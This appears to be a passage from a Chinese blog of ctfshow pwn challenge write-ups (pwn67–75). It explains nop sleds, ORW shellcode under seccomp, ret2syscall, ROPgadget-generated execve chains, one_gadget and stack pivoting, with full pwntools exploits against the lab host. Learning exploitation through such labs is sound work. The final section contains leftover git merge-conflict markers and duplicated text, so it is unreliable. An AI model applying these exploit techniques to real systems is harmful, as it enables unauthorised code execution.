+0x2d:补偿栈帧偏移( 计算得出:0x15 + 4 + 4 + 0x10 = 0x2d),将 “v1 的参考地址” 修正为 “实际 payload 缓冲区(seed 数组)的起始地址”;

较低地址 更高地址
stk[ebp-0x15] ebp⇒<旧ebp>[4] <返回地址>[4] padding[0x10] buffer[0x1000]

21 (0x15) + 4 + 4 + 16 (0x10) = 45 字节 (0x2d)

+668:覆盖程序的最大负偏移(-668),确保跳转地址落入 1336 个 nop 的范围内(无论随机偏移如何波动,地址都能命中 nop 序列)。

转载博主大佬的栈图

看回*query_position函数:

query_position函数

可以看到v1在query_position函数ebp-0x15的位置。

栈布局

————参考CTFshow-pwn入门-pwn67(nop sled空操作雪橇)-CSDN博客

在这里我想说的是nop sled 并非专门用于突破 ASLR 保护,其核心作用是 “扩大 shellcode 的可命中地址范围”,可用于应对多种导致 “shellcode 地址不确定” 的场景,ASLR 保护只是其中一种。

ASLR(地址空间布局随机化)的核心是让程序的栈、堆、库等内存区域的起始地址每次运行时随机变化( PWN_061、PWN_062 等题目开启 PIE,本质是 ASLR 的延伸),导致攻击者无法提前确定 shellcode 的精确地址。

nop sled 的作用是:通过在 shellcode 前填充大量\x90(nop 指令),形成一个 “指令序列区域”—— 只要程序执行流跳转到该区域的任意位置,都会顺着 nop 指令顺序执行,最终命中后续的 shellcode。

从这个角度看,nop sled可以用于突破 ASLR 带来的地址随机性,但这并非其唯一用途。

这题难到我了,对于栈的结构了解不够多,nop、0x2d琢磨很久才明白……等到后续再回来完善一下,如果看不懂就算了。

PNW_068(待定)

题目:64bit nop sled。 PWN_068

PWN_069

题目:可以尝试用ORW读flag flag文件位置为/ctfshow_flag。 PWN_069

checksec一下:

64位仅部分开启RELRO,其他保护全关。

IDA查看main函数(依据函数功能修改对应函数名):

main函数

复习下mmap函数作用,主要用途有三个:

1、将一个普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,这样用内存读写取代I/O读写,以获得较高的性能;

2、将特殊文件进行匿名内存映射,可以为关联进程提供共享内存空间;

3、为无关联的进程提供共享内存空间,一般也是将一个普通文件映射到内存中。

把从0x123000开始的地址,大小为0x1000的长度,权限改为可写可执行

跟进seccomp函数:

seccomp

seccomp主要用于配置和加载 Seccomp(Secure Computing Mode,安全计算模式) 策略,来限制程序可以执行的系统调用,以增强程序的安全性。

wow这里新大陆….沙盒过滤:

1
seccomp-tools dump ./pwn

只有read,write,open,exit可以使用,使用 open–>read–>write 这样的orw的方式。

ORW指的是Open-Read-Write技术,是一种利用系统调用读取文件内容(如flag文件)的攻击方法。

ORW通过以下三个系统调用实现:

open:打开目标文件,获取文件描述符。

read:通过文件描述符读取文件内容到缓冲区。

write:将缓冲区的内容写入标准输出。

跟进ctfshow函数:

ctfshow函数

这里有明显的栈溢出漏洞,在上面我提及过mmap函数,在main函数已经执行过一次了,在0x123000这里已经有可写可执行权限了。到这里,攻击思路就比较清晰了,我们想办法往mmap给的这个地址段里面写shellcode(ORW),然后跳转到这里执行,就OK了。

那我们的orw_shellcode:

1
2
3
4
5
mmap = 0x123000
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode = shellcraft.read(3,mmap,0x100)## read里的fd写3是因为程序执行的时候文件描述符是从3开始的,write里的1是标准输出到显示器
orw_shellcode = shellcraft.write(1,mmap,0x100)
shellcode = asm(orw_shellcode)

shellcode已经编好了,现在编payload让程序听我们话,将shellcode注入进内存中去。

shellcraft.read的作用是执行read函数的后续流程——读取0x100长度的字符(也就是后续的orw_shellcode),文件描述符fd=3(0、1、2已被标准文件占用)

shellcraft.write(1, mmap, 0x100)1Linux 标准输出(stdout)的固定文件描述符,其功能是将 mmap 区域中存储的 \ctfshow_flag 内容输出到屏幕,当成printf也行。

payload:

1
2
3
4
jmp_rsp = 0x400a01
payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax, 0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')
payload += p64(jmp_rsp) +asm("sub rsp, 0x30; jmp rsp")

我在汇编代码分析的过程中找到关键的jmp_rsp后门地址,可以调用这行汇编代码来实现跳转回起始地址:

后门jmp_rsp = 0x400a01

payload = asm(shellcraft.read(0, mmap, 0x100)) 的意思是启动read函数,开启“读取模式”处于待读取状态,等待后面的orw_shellcode的出现,并存到mmap的可读可写区域(2+4);

最正确理解:执行后因缺少输入数据(orw_shellcode)才进入 “等待状态”。

asm(“mov rax, 0x123000; jmp rax”)的意思是跳到mmap=0x123000区域,也就是指向这个区域,等待后续orw_shellcode注入执行。

payload = asm(shellcraft.read(0, mmap, 0x100)) + asm(“mov rax, 0x123000; jmp rax”)加起来不足0x28个字节(0x20+8),让buf刚好充满,以便后续rsp 调整到 buf 缓冲区起始地址(buf复原)。

python3的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io = remote('pwn.challenge.ctf.show' , 28194)
mmap = 0x123000
jmp_rsp = 0x400a01

payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax, 0x123000; jmp rax")
payload = payload.ljust(0x28,b'a')
payload += p64(jmp_rsp) +asm("sub rsp, 0x30; jmp rsp")

orw_shellcode = shellcraft.open("/ctfshow_flag") + shellcraft.read(3, mmap, 0x100) + shellcraft.write(1, mmap, 0x100)
shellcode = asm(orw_shellcode)

io.recvuntil('do')
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

PWN_070

题目:可以开始你的个人秀了 flag文件位置为/flag。 PWN_070

checksec:

64位程序部分开启RELRO,开启栈保护。告诉了我们flag文件位置,hint中还是让我们用ORW读flag。

具体规则逻辑:

  1. 0000-0001 行:检查程序架构,仅允许 ARCH_X86_64(64 位 x86 架构),否则终止程序(跳转到 0007 行返回 KILL)。
  2. 0002 行:将当前系统调用号加载到寄存器 A
  3. 0003-0004 行:过滤 “非标准系统调用”(编号 >= 0x40000000 的内核私有调用),仅允许编号为 0xffffffff 的特殊调用(实际很少用到),其他此类调用会被终止。
  4. 0005 行:明确禁止 execve 系统调用(编号 0x3b,用于执行新程序),触发时会终止程序。
  5. 0006 行:允许所有未被上述规则禁止的系统调用(返回 ALLOW)。
  6. 0007 行:对被禁止的情况,直接终止程序(返回 KILL)。

完全支持**ORW**操作!唯一被禁止的是 execve(执行新程序),但 ORW 操作不依赖它,因此可以正常执行。

跟进到is_printable函数:

is_printable

条件是 a1[i] <= 31 || a1[i] == 127。这意味着如果字符的 ASCII 值小于等于 31,或者等于 127,则认为该字符不可打印。

可以在开头加上\x00 \xc0,做过pwn66,有strlen 的话可以找\x00开头的shellcode,\x00 是 ASCII 码为 0 的字符(也叫 空字符),它在 C 语言中唯一的特殊作用是 标记字符串的结束。这里的 \x00 只是 “告诉 strlen 停止计算”,没有任何 “赋值” 操作(既不修改寄存器,也不修改内存值)。

这波直接不给看main的C伪代码,只能看汇编语言了。

我的python3的exp(没用到ORW,巧合):

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28114)
shellcode = b'\x00\xc0'
shellcode += asm(shellcraft.cat("flag"))
io.recvuntil('name:')
io.sendline(shellcode)
io.interactive()

手写汇编的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding:utf-8
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28114)
shellcode = '''
//调用open()
push 0
//绕过strlen()检查
mov r15, 0x67616c66
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
//调用read()
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
//调用write()
mov rdi,1
mov rsi, rsp
mov rdx, 0xff
mov rax, 1
syscall
'''
payload = asm(shellcode)
io.sendline(payload)
io.interactive()

建议大家在以后要多学学汇编语言,有时候手敲是真的实用,好理解。

ret2syscall

ret2syscall的核心思想是通过控制程序的执行流程,使程序执行系统调用(syscall)指令来获取系统资源或执行特定操作。系统调用是操作系统提供给用户程序的接口,用于请求内核服务。例如,在Linux系统中,execve系统调用可以用来启动一个新的程序(如/bin/sh),从而获取shell。

ret2syscall 是通过 拼接程序中的 gadget(指令片段),手动设置系统调用所需的寄存器值,最终触发 int 0x80(32 位 Linux 系统调用入口)来执行命令的攻击方法。

1.在32位Linux系统中,系统调用通过int 0x80指令触发,需要设置以下寄存器:

eax:系统调用号(例如,execve的调用号为0xb)

ebx:第一个参数(例如,/bin/sh的地址)

ecx:第二个参数(通常为0)

edx:第三个参数(通常为0)

2.在64位系统中,系统调用通过syscall指令触发,寄存器分配有所不同:

rax:系统调用号(例如,execve的调用号为0x3b)

rdi:第一个参数

rsi:第二个参数

rdx:第三个参数

PWN_071

题目:32位的ret2syscall。 PWN_071

checksec:

32位关闭栈保护与PIE。

IDA32位分析:

静态编译

main函数

有明显栈溢出漏洞、gets函数;题目描述以及各处都提示了让用ret2syscall来进行攻击,我们可以利用程序中的 gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。

大致思路是先栈溢出填充缓冲区,利用gadgets调用syscall,也就是传递它的调用号0xb,用rax寄存器传递,然后调用execve函数:

1
execve("/bin/sh",NULL,NULL)

需要用到eax系统调用参数传递的寄存器的gadget:

1
ROPgadget --binary pwn --only "pop|ret"|grep eax

pop_eax_ret:0x080bb196

execve函数有三个参数,32位架构靠栈传递参数,所以要有参数寄存器:ebx(第 1 参)、ecx(第 2 参)、edx(第 3 参),也就是:

1
ROPgadget --binary pwn --only "pop|ret"|grep ebx

同理,int 0x80调用号的gadget地址亦是如此:

int_0x80:0x08049421

pop_edx_ecx_ebx_ret:0x0806eb90

/bin/sh的地址:

binsh:0x80BE408

同理int 0x80

我以为的exp……

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = remote("pwn.challenge.ctf.show", 28266)
#io = process('./pwn')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
binsh = 0x80BE408
int_0x80 = 0x08049421
payload = cyclic(0x64+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
io.sendline(payload)
io.interactive()

试半天爆EOF,也是无语,后来才知道想起这个程序是静态编译的,而运行程序是动态的,在IDA上呈现的数据可能是有偏差,这让我想起了缓冲区大小,寄存器esp是动态寄存器,ebp-64h可能是错误的,于是我开始用动态调试pwngdb,既然gets是我们唯一能和程序交互的地方,我们可以通过gets函数,输入一些垃圾值,那就aaaa吧,刚好4字节(建议不要太大,万一溢出了程序就崩溃了,当然aaa、ctf也行),让esp把我所输入的值运走,这会就能看到esp的地址了,然后用ebp地址和它相减得到偏移量了。

在右边的运行框上,先给程序进行break main指令给main函数断点进行动态调试准备,然后开始了,用n指令(也就是next缩写,一步步进行,左边的调试框也会看到变化),接着回车换行一直进行下一步操作,直到看到有熟悉的ctfshow交互界面和让你输入的交互操作时就可以了:

esp地址:0xffffceec

这时输入AAAA,左边跟着变化,esp地址出现了。

查询栈帧底部ebp寄存器地址:

1
info registers

ebp:0xffffcf58

ebp - esp => 0xffffcf58 - 0xffffceec => 6C = 108

这是偏移量,再覆盖ebp本身,那就是112了

最终exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = remote("pwn.challenge.ctf.show", 28266)
#io = process('./pwn')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
binsh = 0x80BE408
int_0x80 = 0x08049421
payload = cyclic(112) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
io.sendline(payload)
io.interactive()

所以说后续看到静态编译一定要多注意偏移量,后续要熟练运用pwngdb动态调试和pwndbg。

PWN_072

题目:接着练ret2syscall,多系统函数调用。 PWN_072

checksec一下:

32位关闭栈保护与PIE。

IDA分析,依旧静态编译:

main函数

看到gets函数,和上题差不多,都是利用栈溢出漏洞。

/bin/sh在IDA上搜索不到,不能返回地址执行getshell了,那就找另外一种方法。确实难找,read衍生函数很多,找到个单纯“read”的函数是真难……

read函数

不会就丢给AI吧,这确实有点难去读懂……

有read函数那我们可以用它去读取字符串到内存呐,利用read函数来进行手动写入“/bin/sh”字符串。

在main函数中没看到调用read函数,只能我们写exp时利用syscall去调用read函数,搭配gadgets去让read通过寄存器去读取/bin/sh字符串。可以看到read函数需要三个参数,加上自身系统调用号,我们就需要使用eax、ebx、ecx、edx的gadgets。

gadget查询:

pop_edx_ecx_ebx_ret:0x0806ecb0

pop_eax_ret:0x080bb2c6

int 0x80:0x08049421

调用read函数,read函数系统调用号是0x3,用eax寄存,三个参数用ebx、ecx、edx分别暂时寄存,int 0x80去开启执行read函数,把/bin/sh写入内存bss段后,接着执行execve函数,也是用一样的gadgets:

读入字符串到bss内存段的起始地址:0x080eb000

read函数的解释:

  • a1:表示文件描述符(file descriptor),是一个非负整数。在 Linux 系统中,文件描述符是一个指向已打开文件的引用,常见的值有:
  • 0 代表标准输入(stdin)。
  • 1 代表标准输出(stdout)。
  • 2 代表标准错误输出(stderr)。
  • 当打开一个普通文件或其他类型的文件时,系统会分配一个大于 2 的文件描述符。
  • a2:指向用于存储读取数据的缓冲区的地址。也就是说,从文件描述符 a1 所指向的文件中读取的数据,会被存储到 a2 所指向的内存区域中。
  • a3:表示要读取的字节数,即指定从文件描述符 a1 所指向的文件中读取多少个字节的数据到 a2 所指向的缓冲区中。

总的来说,read 函数的作用就是从指定的文件描述符所对应的文件中,读取指定字节数的数据到给定的缓冲区中,并且在多线程环境下,对异步取消等情况进行了一定的处理。

想起上一题,我怕有坑,还特定去用pwngdb调了下,发现真有猫腻:

偏移量为40(十进制)

这确实和IDA静态分析的偏移量大小不一样,所以下次看到静态编译的程序我直接留一手心眼用pwngdb看一眼偏移量先😄。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
io = remote("pwn.challenge.ctf.show", 28266)
#io = process('./pwn')

pop_eax_ret = 0x080bb2c6
pop_edx_ecx_ebx_ret = 0x0806ecb0
int_0x80 = 0x0806F350
bss = 0x080eb000
bin_sh = "/bin/sh\x00"

payload = cyclic(44) + p32(pop_eax_ret) + p32(0x3) + p32(pop_edx_ecx_ebx_ret) + p32(0x10) + p32(bss) + p32(0) + p32(int_0x80)
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_0x80)
io.recvuntil("system?")
io.sendline(payload)
io.sendline(bin_sh)
io.interactive()

执行后,程序会阻塞等待用户输入,此时发送 bin_sh = "/bin/sh\x00"read 会将该字符串写入 bss 段(0x080eb000 地址处);

此时 bss 地址指向的内容就是 "/bin/sh\x00",满足 execve 对 “命令路径参数” 的要求。

PWN_073

题目:愉快的尝试一下一把梭吧! PWN_073

checksec:

看出来是静态编译了:

静态编译

IDA分析main函数:

main函数

还是明显的栈溢出,但是由于是静态编译,我们无法再使用ret2libc来进行getshell,程序中也没有system函数,我们可以尝试直接使用ROPgadget来帮助我们构造一个ROP链:

1
ROPgadget --binary pwn --ropchain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

	[+] Gadget found: 0x8051035 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
	[+] Gadget found: 0x8048433 pop esi ; ret
	[+] Gadget found: 0x8048480 pop edi ; ret
	[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'

	[+] Gadget found: 0x80549db mov dword ptr [edx], eax ; ret
	[+] Gadget found: 0x806f02a pop edx ; ret
	[+] Gadget found: 0x80b81c6 pop eax ; ret
	[+] Gadget found: 0x8049303 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

	[+] Gadget found: 0x8049303 xor eax, eax ; ret
	[+] Gadget found: 0x807a86f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

	[+] Gadget found: 0x80481c9 pop ebx ; ret
	[+] Gadget found: 0x80de955 pop ecx ; ret
	[+] Gadget found: 0x806f02a pop edx ; ret

- Step 4 -- Syscall gadget

	[+] Gadget found: 0x806cc25 int 0x80

- Step 5 -- Build the ROP chain

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b81c6) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b81c6) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x08049303) # xor eax, eax ; ret
	p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de955) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806f02a) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x08049303) # xor eax, eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0807a86f) # inc eax ; ret
	p += pack('<I', 0x0806cc25) # int 0x80

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
io = remote("pwn.challenge.ctf.show", 28192)
#io = process('./pwn')
p = cyclic(0x18+4)
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

io.sendline(p)
io.interactive()

可以看到,它已经很智能的帮我们构造好了这些,我们仅仅需要将它构造好的payload提取出来,然后填充上偏移即可进行我们的攻击。

这个比较类似杂项的一把梭的感觉,在这个阶段不要我们学会,当然现在的我也不会,以后就会了。

使用前提:程序为 “静态编译” 且无现成的 system/execve 函数、关闭 PIE 且开启 NX(栈不可执行)、存在 “可控栈溢出” 且溢出空间足够。

使用该指令的核心原因是程序为 静态编译file pwn 显示 statically linked,且未直接提供 systemexecve 等可直接 getshell 的函数:

静态编译

  • 静态编译的程序会将所有依赖的库函数(如 readwriteint 0x80 系统调用入口)打包到自身中,不存在 “动态链接依赖 libc” 的问题,ROPgadget 能从程序自身提取到完整的 ROP 组件(如 pop edx; retmov [edx], eax; retint 0x80 等),足以构造出调用 execve("/bin/sh") 的完整 ROP 链;
  • 若程序为动态编译(依赖外部 libc),且未泄露 libc 基址,ROPgadget 无法获取 libc 内部的 gadget(如 system 地址、/bin/sh 字符串地址),自动生成的 ROP 链会因 “缺少关键组件” 失效,无法直接使用 “一把梭”。

one_gadget攻击

PWN_074

题目:噢?好像到现在为止还没有了解到one_gadget? PWN_074

checksec:

64位保护全开….我都懵了。

相对于现阶段,看到这种保护全开的题可能会有点迷茫,但是实际上在堆阶段后面基本上都是保护全开的题比较多一点,这里也是为了让大家提前了解一些攻击手法。

IDA64分析:

main函数

开局直接泄露了pringtf的地址我们,但因为地址动态变化,所以我们可以泄露libc库地址,算出这个程序的函数偏移量。

通过 __isoc99_scanf 函数从用户输入中读取一个长整数,并将其存储在 v4 数组的第一个元素中。

再将 v4 数组的第一个元素的值赋给了数组的第二个元素。继续通过函数指针调用了 v4 数组的第一个元素所指向的函数。这个部分利用函数指针的特性,将其转换为函数并进行调用。

使用用户输入来获取函数指针,并通过函数指针调用相应的函数。需要注意的是,这种通过用户输入来获取函数指针并调用函数的做法极有可能会带来安全隐患,因为恶意用户可以输入不安全的函数指针,导致程序出现问题。

到这里引出下一个攻击手段——one gadget

one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。

相比于system("/bin/sh"),这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。

1
one_gadget /lib/x86_64-linux-gnu/libc.so.6

one_gadget并不总是可以获取shell,它首先要满足一些条件才能执行成功,后面提示就是在调用one_gadget前需要满足的条件。

约束条件满足:one - gadget 是 libc 中执行execve("/bin/sh", NULL, NULL)的代码片段,但需要满足特定约束条件才能执行成功。0x4f2c5的约束条件为rsp & 0xf == 0rcx == NULL0x4f322的约束条件为[rsp + 0x40] == NULL0x10a2fc的约束条件为[rsp + 0x70] == NULL。在 PWN074 场景中,程序栈布局使得[rsp + 0x70]天然为 NULL(因为该地址超出当前函数栈帧范围,属于未使用的空闲栈区域,在 Linux 系统中默认填充为 0) ,满足0x10a2fc的约束条件,而其他两个地址的约束条件难以满足。例如,rsp & 0xf == 0要求栈指针低 4 位为 0,在程序未提供调整栈指针对齐的可控途径时,很难实现;同时程序未对rcx寄存器进行控制,rcx大概率不为 NULL,不满足0x4f2c5的条件;[rsp + 0x40]在程序运行时存储有临时数据,无法通过用户输入清空,不满足0x4f322的条件。

本题仅仅是一个工具引进使用,具体可以自行调试一下便知。省了很大一部分时间和精力,对于初学者来说,libc版本是个坑。因此在训练题型上平台一般弄了几个比较相对固定的libc版本,实际比赛时libc的版本更加多样复杂

当然,在这里如果不是使用的附带虚拟机,则需要自行去泄漏libc,当然前面经过这么多题的练习,相信这些也是没难度了。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='amd64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = remote("pwn.challenge.ctf.show", 28135)
#io = process('./pwn')
one_gadget = 0x10a2fc
printf_libc = libc.sym['printf']
io.recvuntil('this:')
printf = int(io.recv(14),16)
libc_base = printf - printf_libc
payload = (str(one_gadget+libc_base))
io.sendline(payload)
io.interactive()

one_gadget + libc_base:计算得到 one_gadget 在内存中的真实地址

*str(one_gadget+libc_base)one_gadget + libc_base 是十进制整数),main 函数明确使用 __isoc99_scanf("%ld", v4) 读取用户输入,也就是说要的是用户输入的字符串,不要数值本身的意义。(one_gadget 真实地址为 0x7f8a9b12d95c(十进制数值为 140239165128028),程序要求输入的是字符串 "140239165128028",而非数值140239165128028 本身)大概就这么理解,这是python的自身规则。

栈迁移

栈迁移是在二进制漏洞利用(尤其是栈溢出漏洞场景)中常用的一种技术手段,目的是改变程序执行时栈的布局和执行流程,绕过一些安全防护机制, 实现攻击者想要的代码执行。

在存在栈溢出漏洞的程序中,攻击者原本可以通过覆盖返回地址来劫持程序执行流,让程序跳转到攻击者指定的地址(如 shellcode 地址)执行恶意代码。但随着系统安全机制(如 NX 保护,使栈上数据不可执行 )的引入或者栈空间过小,直接在栈上执行注入的 shellcode 变得困难。同时,一些程序还可能存在栈金丝雀保护(Stack Canary)来检测栈是否被非法篡改,这也增加了传统栈溢出利用的难度。因此,栈迁移技术应运而生,以绕过这些安全防护。

原理

  • 改变栈的位置:正常情况下,程序按照默认的栈布局执行,栈迁移的核心是将栈的位置移动到一个对攻击者有利的地方,比如具有可写可执行权限的内存区域(如 bss 段) 。在栈溢出漏洞发生时,攻击者可以通过覆盖某些关键寄存器(如 esp,在 32 位程序中;rsp,在 64 位程序中 )的值,使程序在后续执行中,将新的栈帧设置在攻击者指定的内存位置。
  • 构造新栈帧:在新的栈位置,攻击者精心构造栈帧,放置需要执行的指令地址、函数参数等数据。例如,攻击者可以将 execve("/bin/sh", NULL, NULL) 系统调用的相关参数和指令地址按照正确的顺序放置在新栈帧中,当程序执行到相应指令时,就会按照攻击者的意图执行系统调用,获取 shell。

PWN_075

题目:栈空间不够怎么办? PWN_075

checksec一下:

32位开启NX保护,部分开启RELRO。

IDA分析,查看main中的ctfshow函数:

ctfshow函数

其实在连靶机进行交互时,无论你输入什么,都是招原样给你打印出来的,主要还是看read、memset函数,况且没开canary保护有站处理漏洞可以利用。

«««< HEAD 在海曙目录还看到了system函数。

=======

191b05fa45e02dc8995178e6a8d2c0c238003afb 跟进hackerout函数:

看到有system函数,不过里边不是binsh,问题不大可以构造出来。

«««< HEAD 看回ctfshow函数的栈溢出漏洞,可以发现s容量是36,但s到ebp距离有0x28=40,加上覆盖ebp本身的4字节,仅 8 字节(44-36=8)溢出空间,无法直接布置system("/bin/sh"); 所需的 ROP 链(需覆盖返回地址 + 传递参数,至少 12 字节以上),那么这里就应该要想到栈迁移了。

栈迁移的本质是通过 leave 指令改变栈顶指针(esp)的位置,将原本狭小的栈空间转移到我们可控的大空间。那我们就得调用levae汇编指令

看回ctfshow函数的栈溢出漏洞,可以发现s容量是36,但s到ebp距离有0x28=40,加上覆盖ebp本身的4字节,也就是说只有8字给到我们放东西,无法进行我们的ROP链构造,那么这里就应该要想到栈迁移

191b05fa45e02dc8995178e6a8d2c0c238003afb

最后更新于 2025-09-18